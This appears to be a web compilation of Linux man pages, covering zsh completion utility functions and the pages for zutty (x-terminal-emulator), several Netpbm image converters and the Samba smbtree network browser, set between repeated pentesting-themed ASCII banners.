The result of the processing by _regex_words is placed in the array reply*, which should be made local to the calling function.* If the set of words and arguments may be matched repeatedly, a # should be appended to the generated array at that point.

For example:

local -a reply _regex_words mydb-commands ‘mydb commands’ \ ‘add:add an entry to mydb:$mydb_add_cmds’ \ ‘show:show entries in mydb’ _regex_arguments _mydb “$reply[@]” _mydb “$@”

This shows a completion function for a command mydb which takes two command arguments, add and show*.* show takes no arguments, while the arguments for add have already been prepared in an array mydb_add_cmds*, quite possibly by a previous call to* _regex_words*.*

_requested [ -x ] [ -12VJ ] tag [ name descr [ command [ arg … ] ]
This function is called to decide whether a tag already registered by a call to _tags (see below) has been requested by the user and hence completion should be performed for it. It returns status zero if the tag is requested and non-zero otherwise. The function is typically used as part of a loop over different tags as follows:

_tags foo bar baz while _tags; do if _requested foo; then … # perform completion for foo fi … # test the tags bar and baz in the same way … # exit loop if matches were generated done

Note that the test for whether matches were generated is not performed until the end of the _tags loop. This is so that the user can set the tag-order style to specify a set of tags to be completed at the same time.

If name and descr are given, _requested calls the _description function with these arguments together with the options passed to _requested*.*

If command is given, the _all_labels function will be called immediately with the same arguments. In simple cases this makes it possible to perform the test for the tag and the matching in one go. For example:

local expl ret=1 _tags foo bar baz while _tags; do _requested foo expl ‘description’ \ compadd foobar foobaz && ret=0 … (( ret )) || break done

If the command is not compadd*, it must nevertheless be prepared* to handle the same options.

_retrieve_cache cache_identifier
This function retrieves completion information from the file given by cache_identifier, stored in a directory specified by the cache-path style which defaults to ~/.zcompcache*. The return status* is zero if retrieval was successful. It will only attempt retrieval if the use-cache style is set, so you can call this function without worrying about whether the user wanted to use the caching layer.

See _store_cache below for more details.

_sep_parts
This function is passed alternating arrays and separators as arguments. The arrays specify completions for parts of strings to be separated by the separators. The arrays may be the names of array parameters or a quoted list of words in parentheses. For example, with the array `hosts=(ftp news)’ the call `_sep_parts ‘(foo bar)’ @ hosts*’ will* complete the string `f*’ to `foo’ and the string `b@n’ to* `bar@news*’.*

This function accepts the compadd options `-V*’, `-J’,* `-1*’, `-2’, `-n’, `-X’, `-M’, `-P’, `-S’,* `-r*’, `-R’, and `-q’ and passes them on to the* compadd builtin used to add the matches.

_sequence [ -s sep ] [ -n max ] [ -d ] function [ - ] …
This function is a wrapper to other functions for completing items in a separated list. The same function is used to complete each item in the list. The separator is specified with the -s option. If -s is omitted it will use `,’. Duplicate values are not matched unless -d is specified. If there is a fixed or maximum number of items in the list, this can be specified with the -n option.

Common compadd options are passed on to the function. It is possible to use compadd directly with _sequence*, though* _values may be more appropriate in this situation.

_setup tag [ group ]
This function sets up the special parameters used by the completion system appropriately for the tag given as the first argument. It uses the styles list-colors*,* list-packed*,* list-rows-first*,* last-prompt*,* accept-exact*,* menu and force-list*.*

The optional group supplies the name of the group in which the matches will be placed. If it is not given, the tag is used as the group name.

This function is called automatically from _description and hence is not normally called explicitly.

_store_cache cache_identifier param …
This function, together with _retrieve_cache and _cache_invalid*, implements a caching layer which can be used* in any completion function. Data obtained by costly operations are stored in parameters; this function then dumps the values of those parameters to a file. The data can then be retrieved quickly from that file via _retrieve_cache*,* even in different instances of the shell.

The cache_identifier specifies the file which the data should be dumped to. The file is stored in a directory specified by the cache-path style which defaults to ~/.zcompcache*. The remaining* params arguments are the parameters to dump to the file.

The return status is zero if storage was successful. The function will only attempt storage if the use-cache style is set, so you can call this function without worrying about whether the user wanted to use the caching layer.

The completion function may avoid calling _retrieve_cache when it already has the completion data available as parameters. However, in that case it should call _cache_invalid to check whether the data in the parameters and in the cache are still valid.

See the _perl_modules completion function for a simple example of the usage of the caching layer.

_tags [ [ -C name ] tag … ]
If called with arguments, these are taken to be the names of tags valid for completions in the current context. These tags are stored internally and sorted by using the tag-order style.

Next, _tags is called repeatedly without arguments from the same completion function. This successively selects the first, second, etc. set of tags requested by the user. The return status is zero if at least one of the tags is requested and non-zero otherwise. To test if a particular tag is to be tried, the _requested function should be called (see above).

If `-C name’ is given, name is temporarily stored in the argument field (the fifth) of the context in the curcontext parameter during the call to _tags*; the field is restored on exit. This* allows _tags to use a more specific context without having to change and reset the curcontext parameter (which has the same effect).

_tilde_files
Like _files*, but resolve leading tildes according to the rules of* filename expansion, so the suggested completions don’t start with a `~’ even if the filename on the command-line does.

_values [ -O name ] [ -s sep ] [ -S sep ] [ -wC ] desc spec …
This is used to complete arbitrary keywords (values) and their arguments, or lists of such combinations.

If the first argument is the option `-O name’, it will be used in the same way as by the _arguments function. In other words, the elements of the name array will be passed to compadd when executing an action.

If the first argument (or the first argument after `-O name’) is `-s*’, the next argument is used as the character that separates* multiple values. This character is automatically added after each value in an auto-removable fashion (see below); all values completed by `_values -s*’ appear in the same word on the command line, unlike* completion using _arguments*. If this option is not present, only a* single value will be completed per word.

Normally, _values will only use the current word to determine which values are already present on the command line and hence are not to be completed again. If the -w option is given, other arguments are examined as well.

The first non-option argument, desc, is used as a string to print as a description before listing the values.

All other arguments describe the possible values and their arguments in the same format used for the description of options by the _arguments function (see above). The only differences are that no minus or plus sign is required at the beginning, values can have only one argument, and the forms of action beginning with an equal sign are not supported.

The character separating a value from its argument can be set using the option -S (like -s*, followed by the character to use as the* separator in the next argument). By default the equals sign will be used as the separator between values and arguments.

Example:

_values -s , ‘description’ \ ‘*foo[bar]’ \ ‘(two)*one[number]:first count:’ \ ’two[another number]::second count:(1 2 3)’

This describes three possible values: `foo*’, `one’, and* `two*’. The first is described as `bar’, takes no argument* and may appear more than once. The second is described as `number*’, may appear more than once, and takes one mandatory* argument described as `first count*’; no action is* specified, so it will not be completed. The `(two)’ at the beginning says that if the value `one’ is on the line, the value `two*’ will no longer be considered a possible* completion. Finally, the last value (`two*’) is described* as `another number*’ and takes an optional argument described as* `second count*’ for which the completions (to appear after an* `=’) are `1’, `2’, and `3’. The _values function will complete lists of these values separated by commas.

Like _arguments*, this function temporarily adds another context name* component to the arguments element (the fifth) of the current context while executing the action. Here this name is just the name of the value for which the argument is completed.

The style verbose is used to decide if the descriptions for the values (but not those for the arguments) should be printed.

The associative array val_args is used to report values and their arguments; this works similarly to the opt_args associative array used by _arguments*. Hence the function calling* _values should declare the local parameters state*,* state_descr*,* line*,* context and val_args*:*

local context state state_descr line typeset -A val_args

when using an action of the form `**->string’. With this function the context parameter will be set to the name of the value whose argument is to be completed. Note that for _values, the state and state_descr are scalars rather than arrays. Only a single matching state is returned.

Note also that _values normally adds the character used as the separator between values as an auto-removable suffix (similar to a `/’ after a directory). However, this is not possible for a `->string’ action as the matches for the argument are generated by the calling function. To get the usual behaviour, the calling function can add the separator x as a suffix by passing the options `-qS x’ either directly or indirectly to compadd*.*

The option -C is treated in the same way as it is by _arguments*.* In that case the parameter curcontext should be made local instead of context (as described above).

_wanted [ -x ] [ -C name ] [ -12VJ ] tag name descr command [ arg …]
In many contexts, completion can only generate one particular set of matches, usually corresponding to a single tag. However, it is still necessary to decide whether the user requires matches of this type. This function is useful in such a case.

The arguments to _wanted are the same as those to _requested*,* i.e. arguments to be passed to _description*. However, in this case* the command is not optional; all the processing of tags, including the loop over both tags and tag labels and the generation of matches, is carried out automatically by _wanted*.*

Hence to offer only one tag and immediately add the corresponding matches with the given description:

local expl _wanted tag expl ‘description’ \ compadd – match1 match2…

See also the use of _wanted in the example function in the subsection `Dynamic named directories’ in zshexpn(1).

Note that, as for _requested*, the command must be able to* accept options to be passed down to compadd*.*

Like _tags this function supports the -C option to give a different name for the argument context field. The -x option has the same meaning as for _description*.*

_widgets [ -g pattern ]
This function completes names of zle widgets (see the section `Widgets’ in zshzle(1)). The pattern, if present, is matched against values of the $widgets special parameter, documented in the section `The zsh/zleparameter Module’ in zshmodules(1).

COMPLETION SYSTEM VARIABLES

There are some standard variables, initialised by the _main_complete function and then used from other functions.

The standard variables are:

_comp_caller_options The completion system uses setopt to set a number of options. This allows functions to be written without concern for compatibility with every possible combination of user options. However, sometimes completion needs to know what the user’s option preferences are. These are saved in the _comp_caller_options associative array. Option names, spelled in lowercase without underscores, are mapped to one or other of the strings `on*’ and `off’.*

_comp_priv_prefix
Completion functions such as _sudo can set the _comp_priv_prefix array to a command prefix that may then be used by _call_program to match the privileges when calling programs to generate matches.

Two more features are offered by the _main_complete function. The arrays compprefuncs and comppostfuncs may contain names of functions that are to be called immediately before or after completion has been tried. A function will only be called once unless it explicitly reinserts itself into the array.

COMPLETION DIRECTORIES

In the source distribution, the files are contained in various subdirectories of the Completion directory. They may have been installed in the same structure, or into one single function directory. The following is a description of the files found in the original directory structure. If you wish to alter an installed file, you will need to copy it to some directory which appears earlier in your fpath than the standard directory where it appears.

Base The core functions and special completion widgets automatically bound to keys. You will certainly need most of these, though will probably not need to alter them. Many of these are documented above.

Zsh
Functions for completing arguments of shell builtin commands and utility functions for this. Some of these are also used by functions from the Unix directory.

Unix
Functions for completing arguments of external commands and suites of commands. They may need modifying for your system, although in many cases some attempt is made to decide which version of a command is present. For example, completion for the mount command tries to determine the system it is running on, while completion for many other utilities try to decide whether the GNU version of the command is in use, and hence whether the –help option is supported.

X*,* AIX*,* BSD*, …*
Completion and utility function for commands available only on some systems. These are not arranged hierarchically, so, for example, both the Linux and Debian directories, as well as the X directory, may be useful on your system.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

983 - Linux cli command x-terminal-emulator

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x-terminal-emulator and provides detailed information about the command x-terminal-emulator, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x-terminal-emulator.

NAME 🖥️ x-terminal-emulator 🖥️

Efficient full-featured X11 terminal emulator

DESCRIPTION

This manual page documents briefly the zutty program.

This manual page was written for the Debian™ distribution because the original program does not have a manual page.

zutty is a terminal emulator for the X Window System, functionally similar to several other X terminal emulators such as xterm, rxvt and more. It is also similar to other, much more modern, GPU-accelerated terminal emulators.

SYNOPSYS

zutty [options] [shell]

OPTIONS

-altScroll
Alternate scroll mode.

-autoCopy
Sync primary to clipboard.

-bg color
Set background color (default: #000).

-boldColors
Enable bright for bold.

-border pixels
Border width in pixels (default: 2).

-cr color
Cursor color.

-display display
Display to connect to.

-dwfont font
Double-width font to use (default: 18x18ja).

-fg color
Foreground color (default: #fff).

-font font
Font to use (default: 9x18).

-fontsize size
Font size (default: 16).

-fontpath path
Font search path (default: /usr/share/fonts).

-geometry WidthxHeight
Terminal size in chars (default: 80x24).

-glinfo
Print OpenGL information.

-help
Print usage listing and quit.

-listres
Print resource listing and quit.

-login
Start shell as a login shell.

-name name
Instance name for Xrdb and WM_CLASS.

-rv
Reverse video.

-saveLines number
Lines of scrollback history (default: 500).

-shell filename
Shell program to run.

-showWraps
Show wrap marks at right margin.

-title title: Window title (default: Zutty).

-quiet
Silence logging output.

-verbose
Output info messages.

-e command
Command line to run.

SEE ALSO

X(1).

AUTHORS

Tom Szilagyi
Wrote the zutty program.

Ricardo Mones <[email protected]>
Wrote this manpage for the Debian system.

COPYRIGHT

Copyright © 2021-2024 Ricardo Mones

This manual page was written for the Debian™ system (but may be used by others).

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 3 or (at your option) any later version published by the Free Software Foundation.

On Debian™ systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

984 - Linux cli command ybmtopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ybmtopbm and provides detailed information about the command ybmtopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ybmtopbm.

.

NAME 🖥️ ybmtopbm 🖥️

convert a Bennet Yee “face” file to PBM

SYNOPSIS

ybmtopbm

[facefile]

DESCRIPTION

This program is part of Netpbm(1) .

ymtopbm reads a file acceptable to the face and xbm programs by Bennet Yee ([email protected]). and writes a PBM image as output.

OPTIONS

There are no command line options defined specifically for ybmtopbm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbmtoybm(1) , pbm(1)

AUTHOR

Copyright (C) 1991 by Jamie Zawinski and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ybmtopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

985 - Linux cli command pgmtexture

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmtexture and provides detailed information about the command pgmtexture, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmtexture.

.

NAME 🖥️ pgmtexture 🖥️

calculate textural features on a PGM image

SYNOPSIS

pgmtexture

[-d d]

[pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmtexture reads a PGM image as input and calculates textural features based on spatial dependence matrices at 0, 45, 90, and 135 degrees for a distance d (default = 1).

Textural features include:

  • Angular Second Moment

  • Contrast

  • Correlation

  • Variance

  • Inverse Difference Moment

  • Sum Average

  • Sum Variance

  • Sum Entropy

  • Entropy

  • Difference Variance

  • Difference Entropy

  • Information Measures of Correlation

  • Maximal Correlation Coefficient

Algorithm taken from: Haralick, R.M., K. Shanmugam, and I. Dinstein. 1973. Textural features for image classification. IEEE Transactions on Systems, Man, and Cybertinetics, SMC-3(6):610-621.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet*, see* Common Options ), pgmtexture recognizes the following command line option:

-d distance
The distance. Default is 1.

LIMITATIONS

The method for finding the Maximal Correlation Coefficient, which requires finding the second largest eigenvalue of a matrix Q, does not always converge.

SEE ALSO

pgm(1) , pamsharpness(1) , pamsharpmap(1) , pgmedge(1) , pgmminkowski(1)

AUTHOR

Copyright (C) 1991 by Texas Agricultural Experiment Station, employer for hire of James Darrell McCauley.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmtexture.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

986 - Linux cli command pbmtomacp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtomacp and provides detailed information about the command pbmtomacp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtomacp.

.

NAME 🖥️ pbmtomacp 🖥️

convert a PBM image to a MacPaint file

SYNOPSIS

pbmtomacp [-left left]

[-right right]

[-top top]

[-bottom bottom]

[pbmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pbmtomacp reads a PBM image as input and produces a MacPaint file as output.

If you do not specify pbmfile, pbmtomacp uses Standard Input.

The generated file is only the data fork of a picture. You will need a program such as mcvert to generate a Macbinary or a BinHex file that contains the necessary information to identify the file as a PNTG file to MacOS.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtomacp recognizes the following command line options:

-norle
This option tells pbmtomacp not to use any run length encoding compression in the MacPaint image it produces. This output, while not normal, conforms to MacPaint specifications and can be read by any MacPaint decoder without any special settings.

The only value of this option is testing and experimentation. The option causes every output image to contain exactly 53072 bytes, which is the theoretical maximum size for a MacPaint image.

Without -norle, MacPaint compresses the image as much as possible and the output size depends on the nature of the input.

-left
-right -top -bottom These options let you define a rectangle within the image to convert. The default is the whole file. If the specified image is too large for a MacPaint-file, pbmtomacp cuts the image to fit, starting at the specified top left corner.

These options exist for backward compatibility with an unfortunate original design. They do the same thing that you can do in a more Netpbm-like way and more flexibly by processing the input through pamcut.

SEE ALSO

macptopbm(1) , ppmtopict(1) , pamcut(1) , pbm(1) , mcvert documentation

HISTORY

pbmtomacp was added to Netpbm in 1988, written by Douwe van der Schaaf (…!mcvax!uvapsy!vdschaaf).

In 2015, Akira Urushibata replaced the program with the current version, using different logic and none of the original code. The new version used the “packed PBM” facilities of the Netpbm library and the shhopt method of command line parsing.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtomacp.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

987 - Linux cli command pamfixtrunc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamfixtrunc and provides detailed information about the command pamfixtrunc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamfixtrunc.

.

NAME 🖥️ pamfixtrunc 🖥️

replaced by pamfix

DESCRIPTION

This program is part of Netpbm(1) .

pamfixtrunc was replaced in Netpbm 10.66 (March 2014) by pamfix(1) .

pamfix with a -truncate option is the same thing as pamfixtrunc. But pamfix has other options to repair other kinds of corruption.

Another change that came with Netpbm 10.66 is that an invalid sample value (a value greater than the maxval the image declares in its header) is considered by the common Netpbm image reading facility (in libnetpbm) to be unreadable, which means the file is essentially truncated. In older Netpbm, the invalid sample value propagates to the output in a program such as pamfixtrunc. Thus, in older Netpbm a file with 100 rows and an invalid sample value in the 3rd row would pass through pamfixtrunc unchanged. But in Netpbm 10.66, pamfix -truncate with the same input would produce an output image with only 2 rows. While it is not possible in 10.66 to cause pamfix to generate an invalid Netpbm image, you can use -clip and -changemaxval options to avoid truncating the file in a case like this.

You should not make any new use of pamfixtrunc and if you modify an existing use, you should upgrade to pamfixtrunc. But note that if you write a program that might have to be used with very old Netpbm, pamfixtrunc is the only way to do that.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamfixtrunc.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

988 - Linux cli command smbtree

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbtree and provides detailed information about the command smbtree, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbtree.

NAME 🖥️ smbtree 🖥️

A text based smb network browser

SYNOPSIS

smbtree [-D|–domains] [-S|–servers] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] [-U|–user=[DOMAIN/]USERNAME[%PASSWORD]] [-N|–no-pass] [–password=STRING] [–pw-nt-hash] [-A|–authentication-file=FILE] [-P|–machine-pass] [–simple-bind-dn=DN] [–use-kerberos=desired|required|off] [–use-krb5-ccache=CCACHE] [–use-winbind-ccache] [–client-protection=sign|encrypt|off] [-V|–version]

DESCRIPTION

This tool is part of the samba(7) suite.

smbtree is a smb browser program in text mode. It is similar to the “Network Neighborhood” found on Windows computers. It prints a tree with all the known domains, the servers in those domains and the shares on the servers.

OPTIONS

-D|–domains

Only print a list of all the domains known on broadcast or by the master browser

-S|–servers

Only print a list of all the domains and servers responding on broadcast or known by the master browser.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-U|–user=[DOMAIN\USERNAME[%PASSWORD]

Sets the SMB username or username and password.

If %PASSWORD is not specified, the user will be prompted. The client will first check the USER environment variable (which is also permitted to also contain the password separated by a %), then the LOGNAME variable (which is not permitted to contain a password) and if either exists, the value is used. If these environmental variables are not found, the username found in a Kerberos Credentials cache may be used.

A third option is to use a credentials file which contains the plaintext of the username and password. This option is mainly provided for scripts where the admin does not wish to pass the credentials on the command line or via environment variables. If this method is used, make certain that the permissions on the file restrict access from unwanted users. See the -A for more details.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

-N|–no-pass

If specified, this parameter suppresses the normal password prompt from the client to the user. This is useful when accessing a service that does not require a password.

Unless a password is specified on the command line or this parameter is specified, the client will request a password.

If a password is specified on the command line and this option is also defined the password on the command line will be silently ignored and no password will be used.

–password

Specify the password on the commandline.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

If –password is not specified, the tool will check the PASSWD environment variable, followed by PASSWD_FD which is expected to contain an open file descriptor (FD) number.

Finally it will check PASSWD_FILE (containing a file path to be opened). The file should only contain the password. Make certain that the permissions on the file restrict access from unwanted users!

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

–pw-nt-hash

The supplied password is the NT hash.

-A|–authentication-file=filename

This option allows you to specify a file from which to read the username and password used in the connection. The format of the file is:

			username = <value>
				password = <value>
				domain   = <value>

Make certain that the permissions on the file restrict access from unwanted users!

-P|–machine-pass

Use stored machine account password.

–simple-bind-dn=DN

DN to use for a simple bind.

–use-kerberos=desired|required|off

This parameter determines whether Samba client tools will try to authenticate using Kerberos. For Kerberos authentication you need to use dns names instead of IP addresses when connecting to a service.

Note that specifying this parameter here will override the client use kerberos parameter in the /etc/samba/smb.conf file.

–use-krb5-ccache=CCACHE

Specifies the credential cache location for Kerberos authentication.

This will set –use-kerberos=required too.

–use-winbind-ccache

Try to use the credential cache by winbind.

–client-protection=sign|encrypt|off

Sets the connection protection the client tool should use.

Note that specifying this parameter here will override the client protection parameter in the /etc/samba/smb.conf file.

In case you need more fine grained control you can use: –option=clientsmbencrypt=OPTION, –option=clientipcsigning=OPTION, –option=clientsigning=OPTION.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

The smbtree man page was written by Jelmer Vernooij.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
